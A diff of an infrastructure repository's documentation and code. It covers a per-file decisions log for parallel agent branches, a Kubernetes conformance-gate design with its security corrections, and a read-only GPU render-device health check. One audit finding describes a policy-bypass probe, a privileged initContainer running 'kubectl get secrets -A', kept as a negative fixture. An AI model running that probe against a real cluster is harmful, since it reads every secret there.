**tail**. Two branches that both append hit the same last hunk, so git cannot
|
||||||
|
auto-merge them: the second one to be reviewed conflicts, and so does the third, and
|
||||||
|
the fourth. Measured on 2026-09-29: **four of the five open PRs were unmergeable, and
|
||||||
|
`DECISIONS-LOG.md` was the only conflicting file in all four**:
|
||||||
|
|
||||||
|
#22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
#20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
#19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
#18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
||||||
|
#17 feat/ci-is-the-approver clean (it touched no log entry)
|
||||||
|
|
||||||
|
Nothing was wrong with any of those changes. The log's *storage format* serialised work
|
||||||
|
that was otherwise parallel, and it got worse with every concurrent branch: N branches
|
||||||
|
produce N-1 rebases, each of which invalidates any gate run that preceded it.
|
||||||
|
|
||||||
|
The fix is the obvious one for concurrent appenders: **stop sharing a file**. Each
|
||||||
|
handoff is its own file. Two agents writing handoffs touch disjoint paths, so there is
|
||||||
|
nothing for git to merge and nothing to conflict. This scales to any number of parallel
|
||||||
|
branches with zero coordination — which is the point, since the agents are deliberately
|
||||||
|
isolated from each other in separate worktrees and cannot coordinate.
|
||||||
|
|
||||||
|
There is deliberately **no index file** and no counter. An index would be a shared
|
||||||
|
mutable file — exactly the thing that just failed — and a sequence number would have
|
||||||
|
two agents racing for `0043`. The directory listing is the index.
|
||||||
|
|
||||||
|
## Writing an entry
|
||||||
|
|
||||||
|
One file per handoff, named:
|
||||||
|
|
||||||
|
decisions/YYYY-MM-DD-<slug>.md
|
||||||
|
|
||||||
|
`<slug>` is lowercase `[a-z0-9-]`. **Use your branch name's last segment** — it is
|
||||||
|
already unique per unit of work, which is precisely the property the filename needs.
|
||||||
|
A branch `fix/crafty-oauth2-proxy-signin` handed off on 2026-09-29 writes:
|
||||||
|
|
||||||
|
decisions/2026-09-29-crafty-oauth2-proxy-signin.md
|
||||||
|
|
||||||
|
The file is YAML frontmatter followed by three required sections:
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
---
|
||||||
|
date: 2026-09-29
|
||||||
|
branch: fix/crafty-oauth2-proxy-signin
|
||||||
|
title: The Keycloak gate works — Crafty's own login was the wall
|
||||||
|
---
|
||||||
|
|
||||||
|
## What changed
|
||||||
|
|
||||||
|
Prose. What you actually did, and why.
|
||||||
|
|
||||||
|
## What I verified
|
||||||
|
|
||||||
|
The measurements, with their numbers. Quote the field you read, not the prose you
|
||||||
|
believed. Name the gate result and its exit code.
|
||||||
|
|
||||||
|
## What I did NOT verify
|
||||||
|
|
||||||
|
Everything else. An honest "UNVERIFIED" is worth more than an optimistic "green" —
|
||||||
|
this repo has been burned by the difference more than once.
|
||||||
|
```
|
||||||
|
|
||||||
|
All three headings are **required and enforced** (`ci/decisions-log.sh`). They are
|
||||||
|
CLAUDE.md §7's contract; making them a checked structure is what stops an entry
|
||||||
|
degrading into "done ✅".
|
||||||
|
|
||||||
|
## Reading the log
|
||||||
|
|
||||||
|
The whole log, oldest first:
|
||||||
|
|
||||||
|
ls decisions/[0-9]*.md | sort
|
||||||
|
|
||||||
|
The current PM handoff — the newest entry. Ties within a day are broken by what landed
|
||||||
|
on `main` last, which is the honest answer, so ask git rather than the filename:
|
||||||
|
|
||||||
|
git log --diff-filter=A --format='%H' --name-only -- 'decisions/[0-9]*.md' \
|
||||||
|
| grep '^decisions/' | head -1
|
||||||
|
|
||||||
|
For a quick skim of who said what:
|
||||||
|
|
||||||
|
grep -H '^title:' decisions/[0-9]*.md | sort
|
||||||
|
|
||||||
|
## The archive is frozen
|
||||||
|
|
||||||
|
`DECISIONS-LOG.md` is **read-only history**. Its SHA-256 is pinned in
|
||||||
|
`decisions/ARCHIVE.sha256` and `ci/decisions-log.sh` fails the merge gate if the file
|
||||||
|
changes. That is not ceremony: without it, the next agent to read `runbooks/` or an old
|
||||||
|
CLAUDE.md habit appends to the tail again and re-creates the conflict for everybody
|
||||||
|
else, silently, one PR at a time.
|
||||||
|
|
||||||
|
If the archive genuinely must change (a leaked credential to redact, say), that is a
|
||||||
|
deliberate, reviewed act: change it, run `sha256sum DECISIONS-LOG.md > decisions/ARCHIVE.sha256`,
|
||||||
|
and say in your handoff entry why. Re-pinning is visible in the diff. Appending is not.
|
||||||
@@ -33,29 +33,67 @@ agents. So the credential model must be decided by the operator before anything
|
|||||||
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
|
| Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
|
||||||
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
|
| CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
|
||||||
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
|
| Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
|
||||||
| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
|
| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
|
||||||
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
|
| Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
|
||||||
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
| Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
|
||||||
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
| Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
|
||||||
|
|
||||||
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the dev cluster
|
**Cluster reality:** the "Phase 0 / no cluster" language in these files is stale — the cluster is
|
||||||
is LIVE (Phase 6). So `CLUSTER_AVAILABLE` is the only remaining gate, exactly as the blueprint says.
|
LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
|
||||||
|
|
||||||
|
> **CORRECTION (2026-09-29): `CLUSTER_AVAILABLE` is NOT "the only remaining gate", and setting it
|
||||||
|
> today is actively DANGEROUS.** Measured: with `CLUSTER_AVAILABLE=true` and no reachable cluster,
|
||||||
|
> `conformance/run.sh` exits 0 in scaffold mode having marked all 54 tests `<skipped>`, and
|
||||||
|
> `ci/conformance.sh` then printed `[ ok ] L2/L3 conformance passed for touched subset` — **rc 0, a
|
||||||
|
> fake green**, on a merge gate that is now an enforcing required status check. The CI runner has
|
||||||
|
> no cluster credential at all (`automountServiceAccountToken: false`, by design), so the "local
|
||||||
|
> run" this stage attempts can never succeed; it can only skip and, before the guard added on
|
||||||
|
> 2026-09-29, lie about it.
|
||||||
|
>
|
||||||
|
> `ci/conformance.sh` now BLOCKS (exit 1) when a cluster is declared but every test skipped. **Do
|
||||||
|
> not set `CLUSTER_AVAILABLE=true` until §3's trigger path actually exists** — the variable does
|
||||||
|
> not enable L2/L3, it only changes which way this stage fails.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 3. Gaps to close (functional)
|
## 3. Gaps to close (functional)
|
||||||
|
|
||||||
1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
|
||||||
|
`conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
|
||||||
|
0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
|
||||||
|
entrypoint path and the Job pins that uid — see §4.)*
|
||||||
|
`ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
|
||||||
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
|
python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
|
||||||
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
|
`./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
|
||||||
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
`v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
|
||||||
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
|
||||||
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
`CHAINSAW_VERSION` as the single source of truth the image is built from.
|
||||||
2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
|
2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
|
||||||
|
Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
|
||||||
|
args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
|
||||||
|
item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
|
||||||
|
**assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
|
||||||
|
substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
|
||||||
|
clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
|
||||||
|
constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
|
||||||
|
`conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
|
||||||
|
token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
|
||||||
|
only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
|
||||||
|
install the entrypoint at that exact path) and provision that Secret (item 6).
|
||||||
|
Original text: → Add an
|
||||||
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
**init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
|
||||||
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
|
||||||
`--requirements` are injected by the CI trigger step as Job env/args.
|
`--requirements` are injected by the CI trigger step as Job env/args.
|
||||||
3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
|
3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
|
||||||
|
`conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
|
||||||
|
still ships its red JUnit — that prints the artifact tree as a base64 tar between
|
||||||
|
`=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
|
||||||
|
line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
|
||||||
|
collection instead of decoding to plausible garbage; the five checks the collector owes are
|
||||||
|
spelled out above that function. It lives in `run.sh` and not in the Job because admission
|
||||||
|
pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
|
||||||
|
head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
|
||||||
|
each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
|
||||||
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
|
volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
|
||||||
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
|
base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
|
||||||
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
|
`kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
|
||||||
@@ -91,6 +129,19 @@ stack):**
|
|||||||
|
|
||||||
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
|
- SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
|
||||||
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
|
`jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
|
||||||
|
- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
|
||||||
|
`containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
|
||||||
|
`volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
|
||||||
|
`privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
|
||||||
|
**ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
|
||||||
|
`=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
|
||||||
|
same. Both are now covered by
|
||||||
|
`trigger-initcontainers-must-be-the-committed-clone-step` and
|
||||||
|
`trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
|
||||||
|
**The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
|
||||||
|
field that can carry executable intent, and a `pattern` over an array only asserts *at least
|
||||||
|
one element matches* — use `deny` conditions and cap the count. Also note the residual: no
|
||||||
|
rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
|
||||||
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
|
- A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
|
||||||
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
|
`system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
|
||||||
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
|
committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,
|
||||||
|
|||||||
@@ -19,9 +19,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
|
|||||||
|
|
||||||
## Contract
|
## Contract
|
||||||
|
|
||||||
- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`,
|
- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`
|
||||||
and — only when it can escalate — `smartctl`. It writes nothing to the node and
|
(and `lspci` only if it happens to be installed), and — only when it can escalate —
|
||||||
**installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
|
`smartctl`. It writes nothing to the node and **installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
|
||||||
absent the SMART checks SKIP with that as the stated reason (operator ruling 2026-08-31:
|
absent the SMART checks SKIP with that as the stated reason (operator ruling 2026-08-31:
|
||||||
package installation is `node_baseline`'s job, never a health check's, never a manual
|
package installation is `node_baseline`'s job, never a health check's, never a manual
|
||||||
`apt-get`).
|
`apt-get`).
|
||||||
@@ -50,6 +50,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
|
|||||||
| `memory.available`, `memory.swap`, `memory.ecc` | headroom, kubelet's swap-off prerequisite **and whether it survives a reboot** (see [Swap off is not the same as swap disabled](#swap-off-is-not-the-same-as-swap-disabled)), EDAC correctable/uncorrectable counters |
|
| `memory.available`, `memory.swap`, `memory.ecc` | headroom, kubelet's swap-off prerequisite **and whether it survives a reboot** (see [Swap off is not the same as swap disabled](#swap-off-is-not-the-same-as-swap-disabled)), EDAC correctable/uncorrectable counters |
|
||||||
| `memory.physical_total` | **is this machine using the RAM it has?** `/proc/zoneinfo` present-vs-managed pages (no root, metal or VM) and `MemTotal` vs the DIMM capacity SMBIOS reports (`dmidecode -t 17`, root, bare metal). Cause-independent by design — see [The EFI memattr check](#the-efi-memattr-check) |
|
| `memory.physical_total` | **is this machine using the RAM it has?** `/proc/zoneinfo` present-vs-managed pages (no root, metal or VM) and `MemTotal` vs the DIMM capacity SMBIOS reports (`dmidecode -t 17`, root, bare metal). Cause-independent by design — see [The EFI memattr check](#the-efi-memattr-check) |
|
||||||
| `cpu.throttle`, `cpu.inventory`, `cpu.virtualisation` | thermal throttle events since boot, topology + frequency scaling, VT-x/AMD-V + `/dev/kvm` (KubeVirt, R-PLAT-03) |
|
| `cpu.throttle`, `cpu.inventory`, `cpu.virtualisation` | thermal throttle events since boot, topology + frequency scaling, VT-x/AMD-V + `/dev/kvm` (KubeVirt, R-PLAT-03) |
|
||||||
|
| `graphics.render_device` | is there a usable `/dev/dri/renderD*` character device — the path Plex hardware-transcodes through. See [The render-device check](#the-render-device-check) |
|
||||||
|
| `graphics.drm_driver` | which DRM driver is bound to the display device, against `node_health_graphics_expected_driver` (`i915` here) |
|
||||||
|
| `graphics.media_stack` | **INFO only**: `vcs*`/`vecs*` media engines, GuC/HuC firmware state, host VAAPI userspace. None of these is ever graded — see below for why |
|
||||||
| `thermal.max` | hottest sensor across thermal zones and hwmon chips |
|
| `thermal.max` | hottest sensor across thermal zones and hwmon chips |
|
||||||
| `pressure.cpu` / `.memory` / `.io` | PSI `some avg60` — dev learned to care about CPU PSI specifically |
|
| `pressure.cpu` / `.memory` / `.io` | PSI `some avg60` — dev learned to care about CPU PSI specifically |
|
||||||
| `network.link`, `network.errors`, `network.resolvers` | link state/speed, NIC error counters, DNS upstream redundancy per address family |
|
| `network.link`, `network.errors`, `network.resolvers` | link state/speed, NIC error counters, DNS upstream redundancy per address family |
|
||||||
@@ -91,6 +94,78 @@ used to blame that state on "this node has not been baselined yet", which sent t
|
|||||||
back to re-run the role that had already run.
|
back to re-run the role that had already run.
|
||||||
|
|
||||||
|
|
||||||
|
## The render-device check
|
||||||
|
|
||||||
|
Plex transcodes on the iGPU through `/dev/dri/renderD128`. **When that node stops existing,
|
||||||
|
nothing fails loudly.** Plex falls back to software transcoding by itself; the only symptom
|
||||||
|
is a hot CPU and stuttering clients. A node rebuild, a BIOS change that disables the onboard
|
||||||
|
IGD, a kernel that binds a different DRM driver, or a driver regression all produce exactly
|
||||||
|
that silent degradation.
|
||||||
|
|
||||||
|
The state was measured by hand on all three prod nodes on 2026-09-30 and found working. **A
|
||||||
|
fact measured once decays silently**, so it is re-measured on every health run instead of
|
||||||
|
living in a runbook. Nothing is installed, no module is loaded, no group is changed — the
|
||||||
|
role's read-only contract is unchanged.
|
||||||
|
|
||||||
|
| fact | where it comes from | root? |
|
||||||
|
|---|---|---|
|
||||||
|
| `/dev/dri` contents, ownership, mode, char-vs-not | `lstat()` on each entry | no |
|
||||||
|
| owning group **name** for the render node's gid | `grp.getgrgid()` | no |
|
||||||
|
| bound DRM driver | `/sys/class/drm/card*/device/driver` symlink target | no |
|
||||||
|
| is the iGPU on the bus at all | `/sys/bus/pci/devices/*/class` (PCI base class `0x03`) | no |
|
||||||
|
| media engines (`vcs*`, `vecs*`) | `/sys/class/drm/card*/engine/*` | no |
|
||||||
|
| module load state | `/proc/modules` | no |
|
||||||
|
| GuC/HuC | `/sys/module/i915/parameters/enable_guc` + `/proc/cmdline` | **parameter file is mode 0400** |
|
||||||
|
|
||||||
|
### The PCI scan is separate from the DRM scan on purpose
|
||||||
|
|
||||||
|
`/sys/class/drm/card*` exists only once a driver has **bound**. A machine whose iGPU sits on
|
||||||
|
the bus with nothing attached has no `card0` at all — and that is precisely the failure being
|
||||||
|
hunted. So the display device is looked for on the PCI bus independently, from sysfs, which
|
||||||
|
is always there. That is what lets `graphics.render_device` distinguish
|
||||||
|
|
||||||
|
- *no GPU in this machine* → **SKIP** (a VM guest; nothing to grade, the same convention
|
||||||
|
`thermal.max` uses for "no sensor on this hardware"), from
|
||||||
|
- *a GPU is on the bus and there is still no render node* → **FAIL**.
|
||||||
|
|
||||||
|
`lspci` is used **only** to decorate the PCI entry with a readable name, and it is treated as
|
||||||
|
optional because it is: `pciutils` is **not** declared in `node_baseline_packages`, so nothing
|
||||||
|
in this repo guarantees it. It did turn out to be present on all three prod nodes
|
||||||
|
(`/usr/bin/lspci`, measured 2026-09-30 — Debian installs `pciutils` by default), but depending
|
||||||
|
on that would mean depending on an undeclared package. Absent, `description` is `null`, the
|
||||||
|
numeric IDs are printed instead, and no verdict changes.
|
||||||
|
|
||||||
|
### The render node's GID is reported, never asserted
|
||||||
|
|
||||||
|
The render device was `root:render`, **gid 992**, mode `0660` on all three prod nodes on
|
||||||
|
2026-09-30. The check does **not** compare against `992`, and must not be changed to.
|
||||||
|
`render` is a **systemd dynamic allocation** (`systemd-sysusers`), not a Debian static gid
|
||||||
|
from `base-passwd`, so a rebuilt node can legitimately land on a different number. Plex's own
|
||||||
|
container entrypoint stats the device and joins whichever group owns it, so drift genuinely
|
||||||
|
is not a fault. Recording the observed group name and gid in the detail line makes drift
|
||||||
|
**visible** without making it an error — a hard `!= 992` would be a false alarm waiting for a
|
||||||
|
reinstall.
|
||||||
|
|
||||||
|
What *is* configurable is the expected DRM driver, `node_health_graphics_expected_driver`
|
||||||
|
(default `i915`), so the verdict stays out of task logic. `xe` bound instead of `i915` is a
|
||||||
|
**WARN**, not a FAIL: the device still works, but the two drivers do not share a userspace
|
||||||
|
media stack and a libva/iHD build that transcodes correctly against one is not automatically
|
||||||
|
right for the other. On these nodes `xe.ko.xz` exists on disk and is bound to nothing.
|
||||||
|
|
||||||
|
### Two things that are informational and must stay that way
|
||||||
|
|
||||||
|
- **GuC/HuC firmware not loaded** (`i915.enable_guc=0`) is a known, accepted state here. It
|
||||||
|
costs low-power H.264 encode *quality* only; decode and encode both still run on the media
|
||||||
|
engines. Grading it would put a permanent WARN on a chosen configuration.
|
||||||
|
- **No host VAAPI userspace / no `vainfo`** is **not a defect**. Plex ships its own libva and
|
||||||
|
media driver inside its container, so the host needs neither. Flagging it would invite
|
||||||
|
someone to `apt install vainfo` on a node to clear a health check — and this role installs
|
||||||
|
nothing.
|
||||||
|
|
||||||
|
`enable_guc` is one of i915's `0400` module parameters, so an unprivileged pass usually
|
||||||
|
cannot read it. It reports as an honest `NOT READ — <reason>` rather than a fabricated `0`,
|
||||||
|
with `/proc/cmdline` as the world-readable second source for an explicit boot override.
|
||||||
|
|
||||||
## The EFI memattr check
|
## The EFI memattr check
|
||||||
|
|
||||||
`infra/PROD-PROVISIONING.md` §0b is authoritative; this is only what the check needs.
|
`infra/PROD-PROVISIONING.md` §0b is authoritative; this is only what the check needs.
|
||||||
@@ -273,3 +348,10 @@ stays `null` — no claim is made either way.
|
|||||||
but the wear/endurance context SKIPs rather than guessing.
|
but the wear/endurance context SKIPs rather than guessing.
|
||||||
- `ioerr_cnt` counts commands the kernel saw fail, which includes benign rejected or
|
- `ioerr_cnt` counts commands the kernel saw fail, which includes benign rejected or
|
||||||
unsupported commands during discovery. Attribution needs `dmesg`, which needs root.
|
unsupported commands during discovery. Attribution needs `dmesg`, which needs root.
|
||||||
|
- `graphics.render_device`'s **FAIL path has never fired against a real node** — every prod
|
||||||
|
node has a working render device, and the role is read-only so one cannot be taken away to
|
||||||
|
prove it. The failure branches were exercised against synthetic fact sets only. The same
|
||||||
|
applies to the `xe`-bound WARN: no node here has `xe` bound.
|
||||||
|
- `graphics.*` proves the render **device** exists and which driver owns it. It does **not**
|
||||||
|
prove a transcode succeeds — that needs a VAAPI round trip inside Plex's own container,
|
||||||
|
with Plex's own libva, which is out of scope for a node-level check that installs nothing.
|
||||||
@@ -35,6 +35,24 @@ node_health_try_privileged: true
|
|||||||
# --nocheck=standby: never spin up a sleeping disk just to read it. Read-only hygiene.
|
# --nocheck=standby: never spin up a sleeping disk just to read it. Read-only hygiene.
|
||||||
node_health_smartctl_args: "--json=c --all --nocheck=standby"
|
node_health_smartctl_args: "--json=c --all --nocheck=standby"
|
||||||
|
|
||||||
|
# --- Graphics / render device ---------------------------------------------------------
|
||||||
|
# The DRM driver this site EXPECTS to be bound to its display device. Measured on all three
|
||||||
|
# prod nodes 2026-09-30: `i915` on the CoffeeLake-S GT2 [UHD Graphics 630] iGPU of every HP
|
||||||
|
# EliteDesk 800 G5 Mini. The newer `xe` module is present on disk as xe.ko.xz but is bound to
|
||||||
|
# nothing, and that difference matters enough to surface: the two drivers do not share a
|
||||||
|
# userspace media stack (a libva/iHD build that works against i915 is not automatically the
|
||||||
|
# right one for xe), so a silent switch would change Plex's transcoding path. A site on AMD
|
||||||
|
# or NVIDIA sets this to `amdgpu` / `nouveau` / `nvidia` rather than editing task logic.
|
||||||
|
#
|
||||||
|
# WHAT IS DELIBERATELY *NOT* A SETTING HERE: the numeric GID of the render node's owning
|
||||||
|
# group. `render` is a systemd DYNAMIC allocation (systemd-sysusers), not a Debian static
|
||||||
|
# one, so a rebuilt node may legitimately land on a different number — it was 992 on all
|
||||||
|
# three prod nodes on 2026-09-30, and an assertion against that literal would be a false
|
||||||
|
# alarm waiting to happen. Plex's own container entrypoint stats the device and joins
|
||||||
|
# whichever group owns it, so drift genuinely is not a fault. The observed group name and GID
|
||||||
|
# are therefore REPORTED in the check detail and never graded.
|
||||||
|
node_health_graphics_expected_driver: i915
|
||||||
|
|
||||||
# --- Thresholds ---------------------------------------------------------------------
|
# --- Thresholds ---------------------------------------------------------------------
|
||||||
# All verdicts come from here, so a site can retune without touching task logic.
|
# All verdicts come from here, so a site can retune without touching task logic.
|
||||||
node_health_thresholds:
|
node_health_thresholds:
|
||||||
|
|||||||
@@ -35,10 +35,13 @@
|
|||||||
# =============================================================================
|
# =============================================================================
|
||||||
|
|
||||||
import glob
|
import glob
|
||||||
|
import grp
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
|
import pwd
|
||||||
import re
|
import re
|
||||||
import shutil
|
import shutil
|
||||||
|
import stat
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
@@ -756,6 +759,212 @@ def collect_pressure():
|
|||||||
return out
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
# --- Graphics / DRM render device -----------------------------------------------------
|
||||||
|
# WHY THIS IS HERE AT ALL. Plex transcodes on the iGPU through /dev/dri/renderD128. If that
|
||||||
|
# node stops existing — a node rebuild, a BIOS change that disables the IGD, a kernel that
|
||||||
|
# binds a different DRM driver — nothing breaks loudly: Plex silently falls back to software
|
||||||
|
# transcoding and the only symptom is a hot CPU. So the render device is measured on every
|
||||||
|
# health run rather than being a fact someone established once by hand.
|
||||||
|
#
|
||||||
|
# EVERYTHING BELOW IS UNPRIVILEGED. /dev/dri is world-traversable, the device nodes are
|
||||||
|
# stat()able by anyone, /sys/class/drm and /sys/bus/pci/devices are world-readable, and so
|
||||||
|
